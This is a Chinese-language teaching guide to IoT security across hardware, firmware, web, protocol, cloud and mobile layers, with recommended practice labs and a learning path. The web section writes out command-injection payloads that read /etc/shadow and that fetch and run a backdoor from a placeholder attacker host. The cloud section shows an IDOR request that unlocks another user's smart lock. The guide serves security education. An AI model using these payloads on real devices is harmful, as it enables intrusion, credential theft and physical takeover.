物聯網安全到底在保護什麼?從硬體、韌體、軟體到雲端一次看懂|IoT Security 完整指南

聊到「物聯網安全(IoT Security)」,很多人第一個疑問都是:

我們現在討論的,到底是硬體安全、韌體安全、軟體安全,還是雲端安全?

答案是:全部都算。

因為物聯網不是單獨一台設備,而是一套從實體裝置、作業系統、網路通訊,一路連到後端雲端服務的完整系統。

只看其中一層,很容易低估它真正的攻擊面。


一台 IoT 設備,其實不是只有「那台設備」

假設今天有一台智慧攝影機。

使用者看到的是一台攝影機,背後跑的其實是這一整串東西:

硬體 → Bootloader → Firmware → OS → 應用程式 → 網路協定 → API → Cloud → App / Web

例如:

感測器 / 晶片
      ↓
Bootloader
      ↓
Firmware
      ↓
Linux / RTOS
      ↓
Web / App / Service
      ↓
Wi-Fi / BLE / MQTT / HTTP
      ↓
Internet
      ↓
Cloud API
      ↓
資料庫 / IoT Platform
      ↓
手機 App / 管理後台

攻擊者不一定要「破解硬體」。這條鏈上只要有一個環節出問題,就可能連帶影響整套 IoT 系統。

這也是 OWASP IoT Top 10(2018 年版,目前仍為最新版本)所強調的核心概念——IoT 的攻擊面不只是裝置本身,而是整個生態系統。


1. 硬體安全 Hardware Security

先從最靠近實體設備的硬體本身談起。

例如常見的研究方向包括:

  • 除錯介面(Debug Interface):UART、JTAG、SWD — 這些是嵌入式系統常見的除錯與通訊介面,出廠時若未關閉,就可能成為直接進入系統的後門。
  • 儲存介面:SPI、I2C — 用於讀寫外部晶片(如 Flash、EEPROM),可能被用來 Dump 韌體。
  • 儲存元件:NAND / NOR Flash、EEPROM — 存放 Firmware 與設定資料的實體記憶體。
  • 安全元件:Secure Element、TPM(Trusted Platform Module)— 用於保護密鑰、安全開機驗證。如果設備缺少這類元件,密鑰可能以明文形式存在 Flash 中。
  • 系統單晶片:SoC(System on Chip)— 整合 CPU、記憶體控制器、周邊介面的核心晶片。

假設研究人員拿到一台路由器,通常會先拆機,看看 PCB 上有沒有 UART。

如果 UART 沒有關閉,甚至直接提供 root shell,攻擊者可能根本不用研究 Web 漏洞,接上幾條線就進去了。

硬體安全常關心的問題是:

拿到實體設備之後,我能不能直接從硬體取得系統控制權或機敏資訊?

例如:

拆機
↓
找到 UART(通常是 PCB 上未標記的 4 pin 接點:VCC / TX / RX / GND)
↓
用 USB-to-UART 轉接器連接(如 CP2102、FT232、CH340)
↓
設定正確的 Baud Rate(常見 115200)
↓
取得 Boot Log
↓
進入 Shell(如果沒有密碼保護)
↓
取得 Firmware
↓
繼續分析系統

所以硬體安全經常也是 IoT Security Research 的第一步。

補充:常見硬體分析工具

工具 用途
Bus Pirate 通用匯流排分析(UART / SPI / I2C / JTAG)
JTAGulator 自動辨識 JTAG / UART 接腳
Logic Analyzer 分析數位訊號時序
Saleae Logic 高品質邏輯分析儀
Attify Badge IoT 安全研究專用多介面工具(UART / SPI / I2C / JTAG / GPIO)
Flashrom 讀寫 SPI Flash
OpenOCD 開源 JTAG / SWD 除錯工具

2. 韌體安全 Firmware Security

接下來是韌體(Firmware)。

你可以把 Firmware 理解成:

「存在 IoT 裝置裡,負責控制設備運作的一整套系統軟體。」

例如家用路由器的 Firmware 裡面可能包含:

  • Linux Kernel
  • BusyBox(嵌入式 Linux 常見的精簡工具集)
  • Web Server(如 lighttpd、mini_httpd、uhttpd)
  • SSH Server(如 Dropbear)
  • CGI(動態網頁處理)
  • Library(如 uClibc、musl)
  • Configuration
  • Certificate
  • Password
  • API Key
  • Startup Script

研究人員可能會先取得:

firmware.bin

取得方式有很多種:

  • 從官方下載:許多廠商會在支援頁面提供韌體更新檔
  • 從硬體 Dump:透過 SPI / JTAG 從 Flash 讀取
  • 從網路攔截:在設備更新韌體時抓取下載流量
  • 從手機 App 逆向:部分 App 內含韌體更新 URL

接著拆開:

Firmware
↓
File System(常見:SquashFS、JFFS2、CramFS、UBIFS)
↓
etc/
bin/
usr/
www/

常用的韌體分析工具:

工具 用途
binwalk 辨識與解壓韌體中的檔案系統
firmware-mod-kit 韌體修改與重新打包
Jefferson JFFS2 檔案系統解壓
sasquatch 支援非標準 SquashFS 解壓
ubi_reader UBI / UBIFS 檔案系統解壓
EMBA 自動化韌體安全分析框架
Firmware Analysis Toolkit(FAT) Attify 開發的自動化韌體提取與分析工具

然後開始找:

  • Hardcoded Password
  • API Key
  • Private Key
  • 預設帳號
  • 不安全的 Shell Script
  • Web 漏洞
  • Binary 漏洞(Buffer Overflow、Format String、Use-After-Free)
  • 舊版 Library(已知 CVE)
  • Command Injection

走到這裡,IoT Security 就會開始和 Linux Security、Web Security、Binary Exploitation 產生交集。

OWASP Firmware Security Testing Methodology(FSTM)

值得一提的是,OWASP 提供了一套九階段的韌體安全測試方法論(FSTM),專門用於系統化地進行韌體安全評估。九個階段包括:

  1. Information Gathering and Reconnaissance
  2. Obtaining Firmware
  3. Analyzing Firmware
  4. Extracting the Filesystem
  5. Analyzing Filesystem Contents
  6. Emulating Firmware
  7. Dynamic Analysis
  8. Runtime Analysis
  9. Binary Exploitation

這套方法論可以在 OWASP 的 GitHub 上找到,也是 IoTGoat 官方推薦搭配使用的測試指引。


3. 軟體安全 Software Security

很多人以為做 IoT 安全一定要拿電烙鐵、示波器或 Logic Analyzer,其實不一定。

現在有不少 IoT 漏洞,發生的地方其實是大家很熟悉的「軟體層」。

例如設備可能提供:

http://192.168.1.1

進入管理介面。

這時候你測試的東西其實就是一般 Web Security:

  • Authentication Bypass
  • IDOR(Insecure Direct Object Reference)
  • Command Injection
  • SQL Injection
  • File Upload
  • Path Traversal
  • CSRF
  • XSS
  • SSRF
  • Broken Access Control

例如:

POST /api/system/ping

host=8.8.8.8

後端如果直接執行:

ping 8.8.8.8

那麼輸入驗證做不好,就可能變成 Command Injection:

POST /api/system/ping

host=8.8.8.8;cat /etc/shadow

或是更進階的:

host=8.8.8.8$(wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd)

IoT 設備上的 Command Injection 通常比一般 Web 應用更危險,原因有三:

  1. 大多數 IoT Web 服務以 root 權限運行,不需要提權
  2. 嵌入式系統通常缺乏 ASLR、Stack Canary 等防護機制
  3. 設備通常沒有即時更新機制,漏洞修補緩慢

所以你研究的主題雖然叫 IoT Security,實際下手測試的卻可能是 Web Application Security


4. 網路與通訊協定安全

IoT 有一個很重要的特性:設備彼此之間需要通訊。

因此網路協定也是非常大的攻擊面。

例如:

IP 層級協定:

  • HTTP / HTTPS
  • MQTT(Message Queuing Telemetry Transport)— IoT 最常見的訊息協定
  • CoAP(Constrained Application Protocol)— 為受限裝置設計的輕量 REST 協定

短距離無線協定:

  • BLE(Bluetooth Low Energy)— 穿戴裝置、感測器常用
  • Zigbee — 智慧家庭設備常用(如 Philips Hue)
  • Z-Wave — 家庭自動化
  • NFC — 近距離通訊(門禁、支付)
  • Wi-Fi

工業協定(OT / ICS):

  • Modbus — 工業控制系統常用,設計時完全沒有考慮安全性
  • CAN Bus — 車載通訊匯流排

其他:

  • LoRa / LoRaWAN — 長距離低功耗通訊
  • Proprietary Protocol — 廠商自定義協定

MQTT 安全問題深入分析

MQTT 是 IoT 常見的訊息協定,這裡多說一點。

IoT Device
    ↓
MQTT(Publish 訊息到 Topic)
    ↓
Broker(如 Eclipse Mosquitto、HiveMQ、EMQX)
    ↓
Subscriber(其他設備或後端服務)

如果設備直接使用:

mqtt://example.com:1883

Port 1883 是 MQTT 的預設 TCP 連接埠,資料以明文傳輸。安全的做法是使用 Port 8883(MQTT over TLS),兩者皆已在 IANA 正式註冊。

而且如果 Broker 沒有設定 Authentication(許多 Broker 如 Mosquitto 預設允許匿名連線),就可能出現:

  • Sniffing — 攔截明文訊息
  • Credential Leakage — 因 MQTT CONNECT 封包中的帳密也是明文
  • Topic Enumeration — 使用 #(萬用字元)訂閱所有 Topic
  • Unauthorized Subscribe — 未授權訂閱敏感 Topic
  • Unauthorized Publish — 發送偽造控制命令
  • Device Spoofing — 冒充其他設備

根據 Shodan 搜尋,全球有超過 60 萬個 MQTT Broker 暴露在網際網路上(Port 1883),其中約 47,000 個允許匿名連線。

因此做 IoT 研究時,幾乎不可能完全避開 Network Security。


5. Cloud Security

雲端是現在很容易被忽略的一層。

很多 IoT 設備早就不只是:

手機 → 設備(直接通訊)

而是:

IoT Device
     ↓
 Internet
     ↓
Cloud API
     ↓
Mobile App

例如智慧門鎖。

你在手機 App 按下:

開門

真正的流程可能是:

Mobile App
↓
api.vendor.com(HTTPS API)
↓
Cloud Platform(AWS IoT Core / Azure IoT Hub / Google Cloud IoT)
↓
MQTT Broker
↓
Smart Lock(接收到 unlock 命令)

所以如果 Cloud API 出現:

POST /api/device/unlock

{
  "device_id": "12345"
}

攻擊者修改:

{
  "device_id": "12346"
}

結果可以控制別人的門鎖。

這個漏洞看起來是:

IDOR / Broken Access Control

但它造成的卻是:

IoT Device Takeover。

這正是 IoT Security 特別的地方:漏洞可能出現在 Cloud,影響的卻是現實世界裡的設備。

雲端層常見的 IoT 安全問題

  • IDOR(不安全的直接物件參照):透過修改 device_id 控制他人設備
  • JWT / Token 問題:Token 沒有綁定 device ownership 驗證
  • OTA 更新未簽章:韌體更新傳輸未驗證完整性,可被中間人攻擊替換
  • 影子設備(Device Shadow)配置不當:AWS IoT Shadow、Azure Device Twin 的存取控制過寬
  • MQTT Topic ACL 缺失:雲端 Broker 未限制 Topic 層級權限,一台設備可訂閱所有設備的訊息

6. Mobile App Security

很多 IoT 還會搭配手機 App。

例如:

  • 智慧攝影機
  • 智慧門鎖
  • 掃地機器人
  • 智慧插座
  • 智慧家電

這時候攻擊面又會多一層:

Android / iOS App。

研究人員可能會 Reverse Engineering App,尋找:

  • API Endpoint
  • Hardcoded Token
  • API Key
  • Firebase Configuration(特別是 Firebase Realtime Database 的存取規則)
  • MQTT Credential(包括 Broker 地址、帳密、Client ID 格式)
  • Encryption Key
  • Hidden API(未公開的管理 API)
  • Debug Function
  • Certificate Pinning 繞過

常用 Mobile 分析工具:

工具 平台 用途
JADX Android APK 反編譯為 Java 原始碼
APKTool Android APK 反組譯、修改、重新打包
Frida Android / iOS 動態 Hook 與 Instrumentation
Objection Android / iOS 基於 Frida 的行動安全測試框架
MobSF Android / iOS 自動化行動安全分析框架
Burp Suite 通用 攔截 App 與後端 API 的通訊

所以研究 IoT 時,第一個被逆向的東西不一定是 Firmware,也可能是:

app.apk

再從 App 裡找到:

Cloud API(https://api.vendor.com/v2/)
MQTT Broker(mqtt.vendor.com:8883)
Device API(http://192.168.x.x/api/)
Credential(API Key、Token、Certificate)

一路往後追。


IoT Security 最大的特色:跨領域

因此如果問:

IoT Security 到底是哪一種資安?

很難只用單一領域回答,它比較像:

Hardware Security(硬體介面、側通道攻擊、Fault Injection)
       +
Firmware Security(韌體提取、檔案系統分析、設定檢查)
       +
Binary Security(逆向工程、漏洞利用、ROP Chain)
       +
Web Security(API 測試、認證繞過、注入攻擊)
       +
Network Security(協定分析、流量攔截、中間人攻擊)
       +
Mobile Security(App 逆向、動態分析、API 擷取)
       +
Cloud Security(IAM 配置、API 存取控制、OTA 安全)
       +
Wireless Security(BLE、Zigbee、Wi-Fi、LoRa、SDR)
       +
Cryptography(密鑰管理、加密實作、隨機數產生)

而 IoT Security Researcher 做的事情,很多時候就是:

把這些不同的攻擊面串起來。

這也是 OWASP IoT Security Testing Guide(ISTG)所強調的方法論——不要只看單一層面,而是要理解整個生態系統的交互作用。ISTG 提供了完整的 IoT 滲透測試方法論,比 OWASP IoT Top 10 更具操作性。


真正有趣的地方,是「攻擊鏈」

例如今天研究一台智慧攝影機。

可能出現這樣的攻擊流程:

拆設備
↓
找到 UART
↓
取得 Firmware
↓
分析 File System
↓
找到 Hardcoded Credential(MQTT Broker 的帳密)
↓
登入 MQTT Broker
↓
發現其他設備的 Topic
↓
分析 Cloud API(從 MQTT 訊息中找到 API Endpoint)
↓
Broken Access Control(修改 device_id)
↓
控制其他使用者的 Camera

這時候到底是哪一種漏洞?

其實一路包含:

Hardware + Firmware + Network + Cloud + Access Control。

IoT Security 的重點就在這裡:把不同層次的問題串成一條完整攻擊鏈。

再舉一個真實案例的典型模式:

逆向手機 App(APK)
↓
找到 Firebase Database URL
↓
發現 Firebase Rules 設為 public read/write
↓
讀取所有使用者的設備清單、Token、Location
↓
用 Token 呼叫 Cloud API
↓
控制其他使用者的設備

這條攻擊鏈從 Mobile App 出發,經過 Cloud(Firebase),最終影響 IoT Device。完全不需要碰硬體。


所以學 IoT Security,到底應該從哪裡開始?

不用一開始就把所有東西學完,先從自己原本熟悉的領域往外延伸就好。

如果原本是 Web Security

Web
→ IoT Web Interface 測試(http://192.168.1.1)
→ API Security
→ Mobile App 逆向
→ Firmware 檔案系統分析
→ Hardware

如果原本是 Linux

Linux
→ Embedded Linux(BusyBox、OpenWrt、Buildroot)
→ Firmware 提取與分析
→ Reverse Engineering(ARM / MIPS 架構)
→ Hardware 介面

如果原本是 硬體 / 電子背景

Electronics
→ UART / JTAG / SWD
→ Firmware Extraction(SPI Flash Dump)
→ Binary Analysis
→ Software Security

如果原本是 Cloud

Cloud(AWS / Azure / GCP)
→ IoT Platform(AWS IoT Core / Azure IoT Hub)
→ API Security
→ MQTT Broker Security
→ Device Authentication(X.509、Token、SAS)
→ Firmware OTA 安全

如果原本是 Mobile App

Android / iOS Reversing
→ 從 App 提取 API Endpoint / Credential
→ Cloud API 測試
→ MQTT / BLE 協定分析
→ Firmware
→ Hardware

最後再慢慢把不同領域串起來。


有哪些 IoT Security 靶場或平台可以學?

這也是大家很常問的問題:

「請問各位大大,IoT 安全有沒有推薦的靶場或平台可以學習?」

有,不過 IoT 安全和 Web 滲透不太一樣。

目前比較少有那種「像 Hack The Box 一樣,所有內容都能在同一個平台刷完」的地方。

更常見的方式是:

Firmware 靶機 + Embedded Linux + Reverse Engineering + Hardware Lab + 通訊協定 Lab

慢慢拼成完整能力。


1. OWASP IoTGoat

如果完全不知道怎麼開始,我最推薦先玩 OWASP IoTGoat

IoTGoat 是 OWASP 建立的故意脆弱 IoT Firmware,基於 OpenWrt。

很適合拿來當作第一個 IoT 靶機。

可以練習:

  • Firmware Analysis
  • Embedded Linux
  • Hardcoded Credentials
  • Insecure Services(如可被利用的 miniupnp 配置)
  • Web Security(隱藏的診斷頁面)
  • Configuration 問題(Dnsmasq 漏洞)
  • 常見 IoT 弱點(對應 OWASP IoT Top 10 2018)

它最大的優點是,不用一開始就買硬體。

提供多種使用方式:

  • 靜態分析:下載預編譯的 Firmware 映像,用 binwalk 提取檔案系統
  • 動態分析:下載 VMware(.vmdk)或 VirtualBox(.vdi)映像,直接啟動虛擬機
  • 實體設備:也可以燒錄到 Raspberry Pi 2 或 A5-V11 迷你路由器上

可以先練習從 Firmware 開始分析,再慢慢理解 Embedded Linux 的世界。

建議搭配 OWASP Firmware Security Testing Methodology(FSTM)一起使用。

GitHub:OWASP/IoTGoat(約 915 Stars,持續維護中)


2. Damn Vulnerable Router Firmware(DVRF)

如果開始想碰:

Firmware + Reverse Engineering + Embedded Architecture

可以玩 DVRF。

它是一個故意設計成有漏洞的 Router Firmware,由安全研究員 b1ack0wl 建立,原本是為 Linksys E1550 路由器設計。

可以練:

  • Firmware Extraction
  • MIPS 架構逆向工程(這是學習 x86_64 以外 CPU 架構的好起點)
  • Embedded Linux
  • Binary Analysis(Stack Buffer Overflow、Heap Overflow)
  • Reverse Engineering
  • Router Security

重要提醒:

  • 不需要擁有 Linksys E1550。可以透過 QEMU 模擬 MIPS 環境來練習大部分挑戰。
  • 但部分挑戰(pwnable 類型)的原始設計需要透過 UART 連接實體設備。
  • 專案最近一次更新為 2024 年,部分內容較為老舊。

這很適合原本已經會:

Linux
Web
基本逆向

接著往:

Firmware
MIPS
Binary Exploitation

走的人。

GitHub:praetorian-inc/DVRF

替代選擇: 如果覺得原版 DVRF 太舊,BloodyOrangeMan 有一個基於 OpenWrt 改造的新版本,用 CTF 模式呈現,部分題目基於公開 CVE,可以作為補充。


3. Damn Vulnerable IoT Device(DVID)

再往前一步,可以接觸:

Damn Vulnerable IoT Device。

⚠️ 注意:DVID 是一塊實體硬體板,不是純軟體靶機。

DVID 由法國安全研究員 Arnaud Courty(@vulcainreo)設計,核心硬體為 Atmega328p 微控制器搭配 OLED 螢幕,提供 UART、Bluetooth(AT-09 BLE 模組)、2.4GHz、Wi-Fi 等介面。

你需要:

  • DVID 板子(約 40-45 歐元,可在市場購買或用 Gerber 檔自行焊接製作)
  • USBasp(AVR 燒錄器,用來刷入不同挑戰的 Firmware)
  • USBuart(UART 通訊轉接器,用來與板子互動)

目前已推出 DVID v2 版本,新增了更多挑戰和改良的訓練模組。

可以練:

  • Hardware Hacking 基礎(UART 連接、Datasheet 閱讀)
  • Firmware 刷寫與分析
  • BLE(Bluetooth Low Energy)安全
  • Default / Hardcoded Credential
  • 設備與感測器互動

從這裡開始,你會慢慢看出 IoT Security 和一般 Web CTF 的差別。

因為你要考慮的不再只有:

IP
Port
Web

而是:

Hardware(哪個 Pin 是 TX?Baud Rate 是多少?)
Firmware(怎麼燒錄?用什麼工具?)
Wireless(BLE 廣播了什麼?怎麼連線?)
Protocol(UART 的資料格式是什麼?)

GitHub:Vulcainreo/DVID


4. Microcorruption

如果你不想買硬體,但又想練習嵌入式系統的漏洞利用:

Microcorruption 是一個非常經典的線上 CTF 平台。

它模擬一個基於 MSP430 微控制器的嵌入式門鎖系統,你需要在瀏覽器中的除錯器裡分析組合語言,找出漏洞來「開鎖」。

可以練:

  • 嵌入式系統組合語言閱讀
  • Buffer Overflow
  • Stack 分析
  • 嵌入式系統的記憶體佈局理解

完全不需要實體硬體,純瀏覽器操作,難度由淺到深,非常適合入門。

網站:microcorruption.com


5. BLE CTF

如果對 Bluetooth Low Energy 安全有興趣:

BLE CTF 是專門針對 BLE 協定安全的 CTF 練習。

可以用 ESP32 搭建 BLE CTF 環境,練習:

  • BLE 掃描與列舉(Scanning / Enumeration)
  • GATT Service 與 Characteristic 分析
  • BLE 通訊攔截
  • 寫入攻擊
  • BLE Spoofing

GitHub:hackgnar/ble_ctf


6. Attify

如果希望有比較完整的 IoT Pentesting 學習路線,可以參考 Attify。

Attify 由 Aditya Gupta 創辦(著有《The IoT Hacker’s Handbook》和《IoT Penetration Testing Cookbook》),長期專注在 IoT Security、Hardware Hacking 與 Embedded Security。

Attify 提供的資源包括:

免費資源:

  • AttifyOS — 預設整合 40 多種 IoT 安全測試工具的 Linux 發行版,包括韌體分析、射頻測試、逆向工程、網路分析工具。省去大量環境建置的時間。
  • IoT Security Mindmap — 完整的 IoT 安全評估視覺化參考圖
  • Firmware Analysis Toolkit(FAT) — 自動化韌體提取與分析工具

付費培訓:

  • Offensive IoT Exploitation(OIX) — 完整的 IoT 滲透測試培訓,涵蓋 Hardware、Firmware、Wireless、Protocol、Cloud 各層
  • ACIP(Attify Certified IoT Pentester) — IoT 安全認證考試,150 題涵蓋所有 IoT 安全領域

比較適合已經有一些:

  • Linux
  • Web Pentest
  • Reverse Engineering

基礎後,再系統化進入 IoT Security。


7. SANS SEC556:IoT Penetration Testing

如果是企業培訓,或想看比較完整的 IoT Penetration Testing 技能樹,也可以參考:

SANS SEC556: IoT Penetration Testing

課程規格:

  • 時長:3 天(Instructor-Led)/ 18 小時(Self-Paced)
  • 等級:Intermediate
  • 實作:13 個 Hands-On Lab
  • CPE:18 學分

內容涵蓋三大模組:

  1. 網路與 Web 服務:Network Recon、Web Application 漏洞、API 測試
  2. 硬體與韌體:Hardware 介面識別(Serial / SPI / JTAG)、Firmware 提取與分析
  3. 無線技術:Wi-Fi、BLE、Zigbee、LoRA、SDR(Software-Defined Radio)

Lab 使用真實硬體,包括 HackRF SDR、Raspberry Pi、Zigbee Adapter 等。

SANS 的價格比較高(通常數千美元),不太適合當作新手的第一門課。

不過它的課綱很好用:

直接看它的課綱(Syllabus),拿來當 IoT Security 學習地圖。

課綱可以在 SANS 官網免費下載。


其他值得關注的資源

OWASP IoT Security Testing Guide(ISTG)

OWASP 提供的完整 IoT 安全測試指南,比 IoT Top 10 更具操作性。涵蓋完整的 IoT 滲透測試方法論,提供測試案例目錄,並建立了廠商、營運商與測試團隊之間的共通術語。

GitHub:OWASP/owasp-istg

ARM-X by Saumil Shah

ARM-X 是一個韌體模擬框架,可以在 QEMU 中模擬各種 ARM 架構的 IoT / 路由器韌體。附帶多個 CTF 挑戰,適合練習 ARM 架構的韌體分析與漏洞利用。

EMBA

開源的自動化韌體安全分析框架。可以自動提取韌體、掃描已知漏洞(CVE)、檢查 Hardcoded Credential、分析二進位檔案的安全性。適合想要自動化韌體分析流程的人。

GitHub:e-m-b-a/emba


Hack The Box、TryHackMe 可以學 IoT 嗎?

可以。

但我比較不會把 HTB / THM 定位成:

IoT 專用平台。

它們比較適合拿來補足 IoT Security 需要的基礎能力:

Linux(檔案系統、權限、服務管理)
Web(HTTP、API、認證機制)
Network(TCP/IP、Wireshark、Nmap)
Reverse Engineering(x86 / x64 逆向)
Binary Exploitation(Buffer Overflow、ROP)
Privilege Escalation(Linux / Windows 提權)

等這些底層能力打好之後,再進 IoT 會輕鬆很多。

因為真正開始研究 IoT 後,會接觸到:

除錯介面:UART、JTAG、SWD
儲存介面:SPI、I2C

CPU 架構:ARM(Cortex-M / Cortex-A)、MIPS

韌體分析:binwalk、Ghidra、IDA

嵌入式系統:Embedded Linux、RTOS(FreeRTOS、Zephyr)

通訊協定:MQTT、BLE、Zigbee、LoRa

行動端:Android / iOS App 逆向

雲端:AWS IoT / Azure IoT / Cloud API

所以 IoT 安全很難只靠一個平台一路刷到底。


新手可以怎麼安排學習順序?

如果你原本已經有 Web / Linux 基礎,我會建議:

Phase 1:韌體分析入門
├── OWASP IoTGoat(第一個靶機,不用買硬體)
├── 學會 binwalk / strings / grep / find
├── 理解 Embedded Linux 檔案系統結構
└── 搭配 OWASP FSTM 方法論

Phase 2:逆向工程
├── DVRF(MIPS 架構入門)
├── Microcorruption(嵌入式組合語言)
├── 學會 Ghidra / IDA Free
└── 理解 ARM / MIPS 架構差異

Phase 3:硬體介面
├── 買 USB-to-UART 轉接器(CP2102,約 NT$100)
├── 在便宜設備上練習找 UART
├── 嘗試 SPI Flash Dump
└── 逐步接觸 JTAG / SWD

Phase 4:無線協定
├── MQTT(用 Mosquitto 建本地 Lab)
├── BLE(用 ESP32 + BLE CTF)
├── Zigbee(如果有預算,用 CC2531 Sniffer)
└── Wi-Fi(基本攻擊已有大量資源)

Phase 5:Mobile + Cloud
├── Android App 逆向(JADX + Frida)
├── API Security 測試
├── MQTT Broker 安全
└── Cloud IoT Platform 設定

這條路會比一開始就先買一堆工具順很多:

買示波器(NT3,000+)
買 Bus Pirate(NT1,000+)
買 JTAGulator(NT5,000+)
買 Logic Analyzer(NT500+)
↓
然後不知道自己在看什麼

工具當然可以買,但最好先想清楚:

「我要從設備裡取得什麼?」

「這個訊號代表什麼意思?」

「取得之後下一步要做什麼?」

先有這些概念,工具買回來才知道怎麼用。


實體設備可以從什麼開始?

等有 Firmware 與 Embedded Linux 基礎之後,就可以開始買一些便宜設備玩。

例如:

設備 價格範圍 可以練什麼
ESP32 / ESP8266 NT$100-300 Wi-Fi / BLE / MQTT / 韌體開發
家用 Router NT$300-1,000(二手) UART / Firmware / Web / Network
IP Camera NT$500-1,500 完整攻擊鏈(Hardware → Cloud)
Smart Plug NT$300-800 Wi-Fi / App / Cloud API
BLE Sensor NT$200-500 BLE 協定分析
智慧燈泡 NT$300-500 Zigbee / Wi-Fi / App
DVID v2 約 €45(NT$1,500) 結構化 Hardware Hacking 練習

這時候可以開始真的做:

拆機
↓
看 PCB(辨識晶片型號、找 Debug Port)
↓
找 UART(量測、接線、測 Baud Rate)
↓
分析 Boot Log(U-Boot?Bootloader 有沒有中斷機制?)
↓
Dump Firmware(從 UART shell 或 SPI Flash)
↓
分析 File System(找密碼、Key、設定檔)
↓
Reverse Binary(逆向 Web Server 或自定義 Daemon)
↓
抓 Network Traffic(Wireshark / tcpdump)
↓
分析 MQTT / API 通訊
↓
測試 Cloud API(認證、授權、IDOR)

做到這裡,整條攻擊鏈就會慢慢串起來。


物聯網安全不是一個點,而是一條鏈

所以之後看到「IoT Security」這個詞時,可以先不要急著問:

「這是不是要拆硬體?」

更值得先問的是:

「這個 IoT 系統的 Trust Boundary 在哪裡?」

以及:

「資料從裝置產生之後,到最後被使用,中間經過了哪些元件?」

把整條鏈畫出來:

Hardware
↓
Bootloader(Secure Boot 有沒有啟用?)
↓
Firmware(韌體有沒有簽章驗證?)
↓
OS(Kernel 版本?已知漏洞?)
↓
Application(Web / Service 有沒有安全問題?)
↓
Protocol(通訊有沒有加密?認證機制?)
↓
Network(封包可不可以被攔截?)
↓
Cloud(API 有沒有存取控制?)
↓
API(認證、授權、速率限制?)
↓
Mobile / Web(App 有沒有洩漏敏感資訊?)

接著再逐層問:

哪裡可以被控制?

哪裡有資料?

哪裡需要身份驗證?

哪裡需要授權?

哪裡存在信任?

哪裡一旦被突破,可以影響下一層?

做到這裡,才算真的開始做 IoT Security

物聯網安全之所以難,不是因為每一項技術都很神祕,而是它把原本分散在不同領域的資安問題,全部塞進同一套系統裡。

你不需要一開始就精通每一層,但要知道每一層負責什麼、彼此怎麼互相信任,以及哪個環節最容易被突破。先從自己熟悉的地方切入,再逐步把攻擊面串起來,就是學 IoT Security 最實際的方式。


參考資源彙整

資源 類型 連結
OWASP IoT Top 10(2018) 風險清單 owasp.org/www-project-internet-of-things
OWASP IoT Security Testing Guide 測試方法論 github.com/OWASP/owasp-istg
OWASP FSTM 韌體測試方法論 github.com/scriptingxss/owasp-fstm
OWASP IoTGoat 靶機 github.com/OWASP/IoTGoat
DVRF 靶機 github.com/praetorian-inc/DVRF
DVID 硬體靶機 github.com/Vulcainreo/DVID
Microcorruption 線上 CTF microcorruption.com
BLE CTF BLE 靶機 github.com/hackgnar/ble_ctf
AttifyOS 安全測試發行版 github.com/adi0x90/attifyos
EMBA 韌體分析框架 github.com/e-m-b-a/emba
Attify Training 培訓 attify.com
SANS SEC556 培訓 sans.org/cyber-security-courses/iot-penetration-testing
HardwareAllTheThings 參考資源集 github.com/swisskyrepo/HardwareAllTheThings
飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。

飛飛
電話:02-23120400
Email:[email protected]
地址:臺北市中山區復興北路48號7樓